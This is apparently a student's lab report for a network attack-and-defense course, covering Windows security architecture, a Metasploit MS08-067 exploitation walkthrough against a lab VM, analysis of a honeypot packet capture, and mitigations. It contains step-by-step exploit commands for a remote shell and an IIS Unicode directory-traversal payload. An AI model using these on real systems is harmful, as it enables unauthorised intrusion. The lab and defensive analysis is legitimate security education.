20199326 2019-2020-2 《网络攻防实践》第七周作业
实践内容
7:前言
在利用网络信息收集、网络嗅探及网络协议攻击技术得到关于目标网络的充分信息后,攻击者已经了解到了目标网络的各种信息情报,接下来,攻击者就需要转入他们所选择的目标主机系统,通过破解弱口令,利用网络服务安全漏洞实施远程渗透攻击,在系统本地获得访问立足点,进一步寻求系统的特权用户权限,在完整控制目标主机系统之后,攻击者才可以在上面为所欲为,窃取用户的敏感信息,植入后门程序,清楚攻击入侵痕迹,并最终在达成攻击目标之后全身而退
7.1:Windows操作系统基本框架概述
Windows操作系统的基本结构分为运行于处理器特权模式(ring0)的操作系统内核,以及运行在处理器非特权模式(ring3)的用户空间代码。
Windows操作系统的基本结构示意图如下:
Windows操作系统内核的基本模块包括如下:
- Windows执行体:包含基本的操作系统内核服务,如进程与线程管理、内存管理、I/O管理、网络连接、进程间通信,以及安全服务
- Windows内核体:实现底层操作系统功能,如线程调度、中断和异常分发处理、多处理器同步机制
- 设备驱动程序:顾名思义
- 硬件抽象层:用于屏蔽Windows内核与平台硬件差异性的底层代码
- WindowsGUI内核实现代码:即win32k.sys文件
Windows操作系统在用户态的代码模块则包括如下:
- 系统支持进程:Windows开机自动启动的系统内建服务进程,如用于登录认证的logon进程
- 环境子系统服务进程:为运行环境提供支持的服务进程
- 服务进程
- 用户应用软件:在用户态执行的各类用户应用软件
- 核心子系统DLL:很多dll动态连接库文件,作为用户态服务进程与应用软件和操作系统内核的交互接口
Windows文件管理机制:早期以FAT格式来管理文件系统,现在已经被NTFS所取代,NTFS更安全点
Windows注册表管理机制:Windows系统注册表在作为系统全局配置、用户和应用软件配置信息的存储仓库,在Windows系统配置和控制方面承担着关键角色。
7.2:Windows操作系统的安全体系结构与机制
Windows操作系统的安全设计目标是采用一致的,健壮的,基于对象的安全模型,支持一台机器上多个用户之间安全地共享进程、内存、设备、文件及网络等各种类型的系统资源,来满足商业用户的安全需求。
Windows操作系统基于引用监控器模型来实现基本的对象安全模型,系统中所有主体对客体的访问都通过引用监控器作为中介,由引用监控器根据安全访问控制策略来进行授权访问,所有访问记录也都由引用监控器生成审计日志。如下图
Windows系统安全体系结构示意图如下,最为核心的是SRM(Security Reference Monitor)安全引用监控器,以及位于用户态的LSASS(Local Security Authority Subsystem Service)安全服务,他们与Winlogon/Netlogon及Eventlog等服务一起,实现了对主体用户的身份认证机制、对所有资源对象的访问控制机制,以及对访问的安全审计机制。
Windows操作系统中以安全主体概念来包含所有进行系统资源访问请求的实体对象,有用户、用户组和计算机三大类,用SID表示,类比身份证,最后的是RID,一般管理员账户的RID为500
在用户等安全主体经过认证后,Windows系统会赋予用户一个访问令牌,在这个令牌中保存了一份与登录用户账户有关的安全主体SID标识符列表,包括用户账户本身的SID,所属用户组的SID列表,同时还包含该用户所拥有的一些系统特权列表。
保护Windows系统安全稳定运行最为关键的三项安全措施--防火墙、补丁自动更新以及病毒防护。
7.3:Windows远程安全攻防技术
目前远程攻防技术可分为以下几大类:
- 远程口令猜测与破解攻击
- 攻击Windows网络服务
- 攻击Windows客户端及用户
7.4:Windows本地安全攻防技术
windows本地特权提升
- 溢出提权、windows错误系统配置、计划任务提权
- 措施:及时打补丁、及时跟进厂家的安全警告
windows敏感信息窃取
-
windows系统口令字密文提取技术、windows系统口令字破解技术、用户敏感信息窃取等
-
措施:使用安全度高、能抵挡破解的口令
windows消灭踪迹 -
关闭审计功能、清理事件日志
-
措施:实现配置好系统审计和网络服务审计功能,并将日志传输到安全服务器中。
远程控制与后门
- 向受控主机中植入第三方的远程控制与后门程序
- 措施:采用一些后门检测软件来尝试发现攻击者隐藏的后门程序。
实践过程
前置准备
本次实验用到了下面的虚拟机
机子 | ip地址 |
---|---|
kali | 192.168.200.3 |
win2k server | 192.168.200.7 |
第一个和第三个实践要确保kali和win2k可以正常互相ping通,网络模式都调为NAT,win2k之前手动设置的ip地址记得调成自动,dns也设置为自动。第二个实践要用老师上传到云班课的demo_NT_attack_data.zip作为分析文件。 |
实践一
实践1要求
1:在kali打开metasploit,输入msfconsole
,回车后就会进入到他的控制台界面,然后先搜索一下ms08_067漏洞,搜索结果如下图。这是针对这个漏洞的渗透攻击模块。
search ms08_067 //search+漏洞名字
use exploit/windows/smb/ms08_067_netapi
2:选择攻击负载模块,可以通过输入show payloads
,然后找到你要用的攻击负载模块,我选了3,反转tcp,注意,这一步一定要先show完payload,出现列表后在输入下面的命令,或者直接输入那个路径也行。我觉得数字比较方便
set PAYLOAD 3
3:然后show options
,查看需要配置的参数,主要是配置ip地址。按照靶机RHOST,攻击机LHOST的原则配置就行,代码格式如下:
set RHOST IP
set LHOST IP
4:设置目标操作系统平台类型,这个选择0就行,0代表自动识别
set TARGET 0
5:输入exploit
开始攻击。攻击结果如下图
6:攻击成功后,敲下回车,发现进入了靶机的cmd页面上,那我们就输入以下ipconfig查看一下靶机ip,这样就验证了我们的攻击是成功的。
实践二
实践2要求
NT安全账户管理器SAM。简单来说就是管理所有用户名和密码
漏洞声明:
Unicode攻击漏洞:利用微软 IIS 4.0 和 5.0 都存在利用扩展 UNICODE 字元取代"/"和""而能利用"../"目录遍
历的漏洞。未经授权的用户可能利用 IUSR_machinename 账号的上下文空间访问任何已知的文件。该账号在默认情况下属于 Everyone 和 Users 组的成员,因此任何与 Web 根目录在同一逻辑驱动器上的能被这些用户组访问的文件都能被删除,修改或执行,就如同一个用户成功登陆所能完成的一样。
MDAC SQL 注入攻击:IIS的MDAC 组件存在一个漏洞可以导致攻击者远程执行你系统的命令。主要核心问题是存在于 RDS Datafactory, DataFactory允许使用者从远端执行四项功能,包括:「Query」、「CreateRecordSet」、「ConvertToString」和「SubmitChanges」,其中「Query:查询」功能就是黑客用來入侵的地方。默认情况下, 它允许远程命令发送到 IIS 服务器中,这命令会以设备用户的身份运行,其一般默认情况下是 SYSTEM 用户。
1:首先用wireshark打开那个.log文件。就会看到一大堆报文。大致扫一下,发现有很多http报文。这时候,不要方,先使用wireshark自带的统计工具,看看这么多的报文能浓缩成一些什么东西。点击统计
->http
->请求
。就会得到下图。我们知道,访问网页的时候,会从网页服务器下载网页到本地缓存,从这个统计图可以看到。那个突出的一部分应该就是这次的攻击代码了。而其他的都是一些网页gif图片。不过他这个统计图的缺点是不按时间顺序。
2:接下来就需要一步一步分析了。设置限定条件为:ip.addr==172.16.1.106 and http
。然后就开始看。前边的都大同小异。没有特别突出的。到了编号为117的这一行,如下图。我们发现了如下一段。
/guest/default.asp/..%C0%AF../..%C0%AF../..%C0%AF../boot.ini
这个boot.ini像是一个配置文件。查阅有关资料,我们得知这是NT系统的启动文件。而前面的..%c0af..啥的像是个路径。查阅资料后得知,这是"/"的Unicode编码。这是个IIS4和5存在的一个漏洞。利用扩展 UNICODE 字元取代"/"和""而能利用"../"目录遍
历的漏洞。
3:再往下看,我们可以看到攻击者试图向服务器获取一个msadcs.dll文件。确定他存在后,就开始干坏事了。
4:攻击者利用这个dll存在RDS漏洞,输入了个数据查询语句进行SQL注入攻击。根据ADM!ROX..以及那个mdb。我们可以通过百度查询到它是通过国外安全研究人员(rain forest puppy)编写的msadc(2).pl渗透攻击代码发起的。
5:然后攻击者就成功进入了系统。往下拉,可以看到到下图所示位置,发生了变化。攻击者建立了一个ftp连接。输入了用户名密码,成没成功我暂时还看不出。然后就是下载了几个文件。
6:然后攻击者连接6969端口,获得了访问权限
7:从1369编号开始,攻击机发起了多次SQL注入攻击,我们发现数据部分不太一样。什么pdump.exe yay.txt。这些文件暂时看不懂。
8:然后在编号2339追踪http流,我们可以看到,根据add,他应该是想提升权限。
9:攻击者应该警觉到了这是个蜜罐。还写了一串英文表示他看透了这是个蜜罐,不过我还没找到这条命令。先这样吧。
防止这种攻击的方法
1.为这些漏洞打上补丁,
2.禁用用不着的 RDS 等服务,
3.防火墙封禁网络内部服务器发起的连接
4.为 web server 在单独的文件卷上设置虚拟根目录
5.使用 NTFS 文件系统,因为 FAT 几乎不提供安全功能
6.使用 IIS Lockdown 和 URLScan 等工具加强 web server
实践三
1:攻击步骤跟实践1是一样的,攻击的漏洞依然是ms08_067
漏洞,这里不在赘述了。我们要做的就是在攻击机输入exploit
之后,敲回车之前,wireshark实时监听经过网卡的数据包。由于靶机没有wireshark,所以我选择用kali上的wireshark监听。效果一样的。
从下图可以看出攻击者ip地址,端口,靶机ip地址,端口,时间等信息。
2:上图中前三个包是tcp三次握手包,建立连接后,从下图中我们发现攻击机向靶机发了许多SMB协议包。而MS08-067漏洞是通过MSRPC over SMB通道调用Server服务程序中的NetPathCanonicalize函数时触发的。所以据此可以推断出,是利用这个漏洞攻击的
3:然后这时候我们在攻击机输入个ipconfig命令,会显示如下结果。
4:打开wireshark,查看刚刚捕获到的包,我们可以从发的包的数据部分得到我们刚刚输入的指令,如下图。
至此,这个实验就结束了。
学习感想和体会
这次实验我觉得重头戏是分析部分把,挺繁琐的。这次实验下来,会攻击漏洞了,挺棒的。
学习中遇到的问题及解决
问题:第一个实践选择winxp那个靶机时候,发现攻击不了,会出现no session或者no target等等之类的问题,说白了就是无法建立连接。
搜了一些网上答案发现没办法后,果断放弃,选择换个靶机。win2k也是有这个漏洞的